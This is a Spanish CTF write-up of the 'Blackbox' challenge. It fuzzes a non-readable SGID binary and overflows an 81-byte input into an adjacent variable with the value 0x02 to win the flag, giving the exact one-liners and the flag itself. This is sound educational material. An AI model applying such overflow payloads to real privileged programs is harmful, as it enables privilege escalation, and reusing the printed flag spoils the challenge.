Blackbox
3 minutos de lectura
Se nos proporciona un servidor al que conectarnos por SSH. Existe un binario llamado blackbox
que es SGID:
blackbox@ubuntu-512mb-nyc3-01:~$ ls -l
total 16
---x--s--x 1 root blackbox_pwn 8936 Jan 31 2019 blackbox
-r--r----- 1 root blackbox_pwn 33 Oct 9 2017 flag.txt
blackbox@ubuntu-512mb-nyc3-01:~$ file blackbox
blackbox: setgid executable, regular file, no read permission
Como se puede ver, no tenemos permisos de lectura, por lo que no podemos transferir el archivo a nuestra máquina, ni descompilarlo, ni depurarlo. Lo único que podemos hacer es ejecutarlo:
blackbox@ubuntu-512mb-nyc3-01:~$ ./blackbox
What is 1 + 1 =
Solamente tenemos una entrada de usuario. Si respondemos a la pregunta, tenemos:
blackbox@ubuntu-512mb-nyc3-01:~$ ./blackbox
What is 1 + 1 = 2
No dummy... 1 + 1 != 0...
Si aplicamos fuzzing con Python, obtenemos un mensaje *** stack smashing detected ***
:
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 100)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 1094795585...
*** stack smashing detected ***: <unknown> terminated
[1]+ Stopped python3 -c 'print("A" * 100)' | ./blackbox
Por tanto, el binario tiene un stack canary que protege de posibles buffer overflows. Podemos disminuir la cantidad de caracteres hasta que encontramos este comportamiento:
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 80)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 0...
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 81)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 65...
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 82)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 16705...
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 83)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 4276545...
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 84)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 1094795585...
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 85)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 1094795585...
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 86)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 1094795585...
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 87)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 1094795585...
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 88)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 1094795585...
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 89)' | ./blackbox
What is 1 + 1 = No dummy... 1 + 1 != 1094795585...
*** stack smashing detected ***: <unknown> terminated
[2]+ Stopped python3 -c 'print("A" * 89)' | ./blackbox
Si tomamos los números y los mostramos en hexadecimal, vemos que ocurre lo siguiente:
>>> hex(65)
'0x41'
>>> hex(16705)
'0x4141'
>>> hex(4276545)
'0x414141'
>>> hex(1094795585)
'0x41414141'
Parece claro que el resultado que tenemos que introducir es "\x02"
donde hay una sola "A"
(0x41
). Es decir, necesitamos poner 80 caracteres y el siguiente tiene que ser "\x02"
, de manera que la pregunta se responde correctamente:
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("A" * 80 + "\x02")' | ./blackbox
What is 1 + 1 = CORRECT! You get flag:
CTFlearn{0n3_4lus_1_1s_Tw0_dumm13!!}
[3]+ Stopped python3 -c 'print("A" * 80 + "\x02")' | ./blackbox
Y una manera más corta:
blackbox@ubuntu-512mb-nyc3-01:~$ python3 -c 'print("\x02" * 81)' | ./blackbox
What is 1 + 1 = CORRECT! You get flag:
CTFlearn{0n3_4lus_1_1s_Tw0_dumm13!!}
[3]+ Stopped python3 -c 'print("\x02" * 81)' | ./blackbox